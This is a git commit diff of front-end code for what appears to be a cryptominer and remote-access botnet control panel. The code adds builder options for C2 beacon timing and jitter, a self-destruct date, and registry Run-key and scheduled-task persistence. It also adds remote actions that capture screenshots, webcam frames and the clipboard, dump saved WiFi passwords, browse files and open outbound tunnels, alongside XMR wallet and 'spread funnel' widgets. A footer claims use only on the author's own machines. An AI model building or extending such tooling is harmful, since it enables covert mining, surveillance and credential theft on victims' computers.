feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser, HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
@@ -1129,6 +1129,81 @@ export default function BuilderPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* ── Connection profile (advanced) ─────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Connection Profile"
|
||||
badge="baked"
|
||||
description="C2 reconnect timing and optional agent self-destruct date."
|
||||
/>
|
||||
<div className="form-row" style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(140px, 1fr))', gap: '0.75rem' }}>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon interval (sec)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="5"
|
||||
value={form.beacon_interval_sec ?? ''}
|
||||
onChange={(e) => updateField('beacon_interval_sec', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Beacon jitter (%)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
max={100}
|
||||
placeholder="0"
|
||||
value={form.beacon_jitter_pct ?? ''}
|
||||
onChange={(e) => updateField('beacon_jitter_pct', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Kill after (days, 0=never)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={0}
|
||||
placeholder="0"
|
||||
value={form.agent_kill_after_days ?? ''}
|
||||
onChange={(e) => updateField('agent_kill_after_days', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group" style={{ marginTop: '0.75rem' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.https_beacon_fallback !== false && (
|
||||
form.https_beacon_fallback === true ||
|
||||
(form.backup_server_urls ?? []).some((u) => u.trim() !== '')
|
||||
)}
|
||||
onChange={(e) => updateField('https_beacon_fallback', e.target.checked)}
|
||||
/>
|
||||
<span>HTTPS beacon fallback <HelpTip field="https_beacon_fallback" /></span>
|
||||
</label>
|
||||
<FieldHint field="https_beacon_fallback" />
|
||||
</div>
|
||||
{form.https_beacon_fallback !== false && (
|
||||
<div className="form-group">
|
||||
<label className="label">HTTPS fallback after (min)</label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
placeholder="3"
|
||||
value={form.https_beacon_after_min ?? ''}
|
||||
onChange={(e) => updateField('https_beacon_after_min', parseInt(e.target.value, 10) || 0)}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Wallet Address <HelpTip field="wallet" /></label>
|
||||
<input
|
||||
@@ -1683,6 +1758,59 @@ export default function BuilderPage() {
|
||||
</label>
|
||||
<ForgeLockedHint meta={fieldMeta.auto_start} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.autostart_mode?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Boot / logon autostart <HelpTip field="autostart_mode" /></label>
|
||||
<select
|
||||
className="select"
|
||||
value={form.autostart_mode ?? ''}
|
||||
disabled={fieldMeta.autostart_mode?.disabled}
|
||||
onChange={(e) => updateField('autostart_mode', e.target.value)}
|
||||
>
|
||||
<option value="">Legacy (linked to checkbox above)</option>
|
||||
<option value="none">None (Run As hooks only)</option>
|
||||
<option value="logon_run">User logon — Registry Run (HKCU)</option>
|
||||
<option value="logon_startup_folder">User logon — Startup folder shortcut</option>
|
||||
<option value="logon_task">User logon — Scheduled task (ONLOGON)</option>
|
||||
<option value="boot_task">System boot — Scheduled task (ONSTART / SYSTEM)</option>
|
||||
<option value="all">All of the above</option>
|
||||
</select>
|
||||
<FieldHint field="autostart_mode" />
|
||||
<ForgeLockedHint meta={fieldMeta.autostart_mode} />
|
||||
</div>
|
||||
<div className={`form-group ${fieldMeta.registry_run_hkcu?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="label">Registry persistence (T1112) <HelpTip field="registry_persistence" /></label>
|
||||
<div className="checkbox-grid">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hkcu}
|
||||
disabled={fieldMeta.registry_run_hkcu?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hkcu', e.target.checked)} />
|
||||
<span>HKCU Run (logon) <HelpTip field="registry_run_hkcu" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_once}
|
||||
disabled={fieldMeta.registry_run_once?.disabled}
|
||||
onChange={(e) => updateField('registry_run_once', e.target.checked)} />
|
||||
<span>HKCU RunOnce <HelpTip field="registry_run_once" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_run_hklm}
|
||||
disabled={fieldMeta.registry_run_hklm?.disabled}
|
||||
onChange={(e) => updateField('registry_run_hklm', e.target.checked)} />
|
||||
<span>HKLM Run/RunOnce (elevated) <HelpTip field="registry_run_hklm" /></span>
|
||||
</label>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.registry_explorer_run}
|
||||
disabled={fieldMeta.registry_explorer_run?.disabled}
|
||||
onChange={(e) => updateField('registry_explorer_run', e.target.checked)} />
|
||||
<span>Explorer Policies Run <HelpTip field="registry_explorer_run" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<p className="field-hint subtle">
|
||||
Logon Run keys start the worker when a user signs in. Boot tasks (above) can start earlier at ONSTART.
|
||||
Fleet registry read/write/delete is available under Remote Actions on Windows agents.
|
||||
</p>
|
||||
<ForgeLockedHint meta={fieldMeta.registry_run_hkcu} />
|
||||
</div>
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
|
||||
@@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
|
||||
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
|
||||
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
|
||||
import FileManager from '../components/Fleet/FileManager';
|
||||
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
|
||||
import '../components/Fleet/FullSysCheckPanel.css';
|
||||
import '../components/Fleet/ProtocolTunnelPanel.css';
|
||||
import './CruciblePage.css';
|
||||
|
||||
// ── Types ──────────────────────────────────────────────────────────────────
|
||||
@@ -333,6 +336,7 @@ export default function CruciblePage() {
|
||||
|
||||
// Tunnel URL state
|
||||
const [tunnelURL, setTunnelURL] = useState('');
|
||||
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
@@ -346,6 +350,21 @@ export default function CruciblePage() {
|
||||
|
||||
const online = (a: Agent) => a.status === 'online';
|
||||
|
||||
const fmCommandResults = useMemo(
|
||||
() =>
|
||||
commandResults
|
||||
?.filter((r) => r.agent_id && r.action != null)
|
||||
.map((r) => ({
|
||||
agentId: r.agent_id as string,
|
||||
action: r.action as string,
|
||||
success: !!r.success,
|
||||
message: r.message ?? '',
|
||||
})) ?? [],
|
||||
[commandResults]
|
||||
);
|
||||
|
||||
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
|
||||
const crucibleTargetReady =
|
||||
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
|
||||
@@ -385,6 +404,12 @@ export default function CruciblePage() {
|
||||
|
||||
const msg = r.message ?? '';
|
||||
|
||||
if (r.action === 'tunnel_status' && r.success && msg) {
|
||||
if (selectedIds.size === 1 && selectedIds.has(aid)) {
|
||||
setTunnelStatusMsg(msg);
|
||||
}
|
||||
}
|
||||
|
||||
// ── SSH badge updates ───────────────────────────────────────────────
|
||||
if (msg.includes('SSH_PROBE:ONLINE')) {
|
||||
setSshOverride((prev) => ({ ...prev, [aid]: true }));
|
||||
@@ -396,7 +421,12 @@ export default function CruciblePage() {
|
||||
let richData: RichTermData | undefined;
|
||||
|
||||
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
|
||||
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
|
||||
if (
|
||||
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
|
||||
r.success &&
|
||||
msg.length > 200 &&
|
||||
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
|
||||
) {
|
||||
richData = { type: 'screenshot', b64: msg.trim() };
|
||||
}
|
||||
|
||||
@@ -1352,13 +1382,14 @@ export default function CruciblePage() {
|
||||
>
|
||||
Full Sys Check
|
||||
</button>
|
||||
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||||
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||||
<button
|
||||
key={cmd}
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0}
|
||||
title={{
|
||||
screenshot: 'Capture the desktop screenshot',
|
||||
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
|
||||
clipboard: 'Read the current clipboard contents',
|
||||
wifi: 'Dump all saved WiFi passwords',
|
||||
software: 'List installed programs',
|
||||
@@ -1539,8 +1570,8 @@ export default function CruciblePage() {
|
||||
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
|
||||
onClick={() => {
|
||||
const url = tunnelURL.trim() || '';
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||||
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
|
||||
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
|
||||
}}
|
||||
>
|
||||
Start Tunnel
|
||||
@@ -1669,6 +1700,16 @@ export default function CruciblePage() {
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
{singleSelectedAgent && (
|
||||
<div style={{ marginTop: '0.75rem' }}>
|
||||
<FileManager
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
online={online(singleSelectedAgent)}
|
||||
commandResults={fmCommandResults}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* ── Shell type ───────────────────────────────── */}
|
||||
@@ -1811,12 +1852,41 @@ export default function CruciblePage() {
|
||||
<div className="crucible-ssh-step">
|
||||
<span className="css-num">4</span>
|
||||
<div>
|
||||
<strong>Remote (via tunnel)</strong> — run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
|
||||
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
{singleSelectedAgent && (
|
||||
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
|
||||
<ProtocolTunnelPanel
|
||||
agentId={singleSelectedAgent.id}
|
||||
agentName={singleSelectedAgent.name}
|
||||
online={singleSelectedAgent.status === 'online'}
|
||||
caps={singleSelectedAgent.capabilities}
|
||||
platform={singleSelectedAgent.platform}
|
||||
compact
|
||||
lastTunnelStatusMessage={tunnelStatusMsg}
|
||||
busy={null}
|
||||
onDispatch={async (action, args) => {
|
||||
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(),
|
||||
agentId: 'local',
|
||||
agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `${action} → ${singleSelectedAgent.name}`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
}}
|
||||
/>
|
||||
</NeonCard>
|
||||
)}
|
||||
|
||||
<CreateGroupModal
|
||||
open={showGroupModal}
|
||||
agentCount={selectedIds.size}
|
||||
|
||||
@@ -21,6 +21,7 @@ import {
|
||||
} from '../components/Fleet/FleetPanels';
|
||||
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
|
||||
import FleetToolbar from '../components/Fleet/FleetToolbar';
|
||||
import { SpreadFunnelWidget, AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import ErrorBoundary from '../components/ErrorBoundary';
|
||||
|
||||
const HashrateChart = lazy(() => import('../components/Charts/HashrateChart'));
|
||||
@@ -421,6 +422,11 @@ export default function DashboardPage() {
|
||||
{/* Fleet Health — always above the fold */}
|
||||
<FleetHealthCard health={fleetHealth} />
|
||||
|
||||
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(auto-fit, minmax(280px, 1fr))', gap: '1rem', marginBottom: '1rem' }}>
|
||||
<SpreadFunnelWidget />
|
||||
<AuditLogStrip limit={6} />
|
||||
</div>
|
||||
|
||||
{previewDeck && (
|
||||
<p className="preview-deck-hint font-tech" role="status">
|
||||
Projection mode — charts validated with sample telemetry until your fleet connects
|
||||
|
||||
@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
|
||||
import type { BackupPool } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import FleetTasksPanel from '../components/Fleet/FleetTasksPanel';
|
||||
import { AuditLogStrip } from '../components/Fleet/FleetOpsWidgets';
|
||||
import { useSound } from '../context/SoundContext';
|
||||
import { useVisualEffects } from '../context/VisualEffectsContext';
|
||||
import './Pages.css';
|
||||
@@ -85,6 +87,7 @@ export default function SettingsPage() {
|
||||
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
|
||||
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
|
||||
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
|
||||
notify_kev_exposure: cfg.alerts?.notify_kev_exposure ?? true,
|
||||
},
|
||||
server: {
|
||||
public_url: cfg.server?.public_url ?? '',
|
||||
@@ -680,7 +683,8 @@ export default function SettingsPage() {
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Alert Notifications</h2>
|
||||
<p className="section-desc">
|
||||
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
|
||||
Telegram, optional webhook, and email for fleet events (operator pub/sub — MITRE T1071.005 lite).
|
||||
Set bot token + chat ID or webhook URL, choose what to send, then save.
|
||||
</p>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
@@ -693,6 +697,12 @@ export default function SettingsPage() {
|
||||
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
|
||||
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
|
||||
</div>
|
||||
<div className="form-group" style={{ gridColumn: '1 / -1' }}>
|
||||
<label htmlFor="cfg-webhook" className="label">Webhook URL (optional)</label>
|
||||
<input id="cfg-webhook" type="url" className="input mono" value={config.alerts.webhook_url || ''}
|
||||
onChange={(e) => updateField('alerts.webhook_url', e.target.value)} placeholder="https://hooks.example.com/fleet" />
|
||||
<p className="field-hint">JSON POST: event, title, message — on connect, offline, and other enabled alerts.</p>
|
||||
</div>
|
||||
</div>
|
||||
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
|
||||
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
|
||||
@@ -753,6 +763,13 @@ export default function SettingsPage() {
|
||||
<span>Forge completes successfully</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={config.alerts.notify_kev_exposure !== false}
|
||||
onChange={(e) => updateField('alerts.notify_kev_exposure', e.target.checked)} />
|
||||
<span>KEV exposure found on Full System Check (CISA top CVE heuristics)</span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}
|
||||
@@ -977,6 +994,12 @@ export default function SettingsPage() {
|
||||
)}
|
||||
</NeonCard>
|
||||
</div>
|
||||
|
||||
<div style={{ marginTop: '1.5rem', display: 'grid', gap: '1rem' }}>
|
||||
<FleetTasksPanel />
|
||||
<AuditLogStrip limit={12} />
|
||||
</div>
|
||||
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
</footer>
|
||||
|
||||
Reference in New Issue
Block a user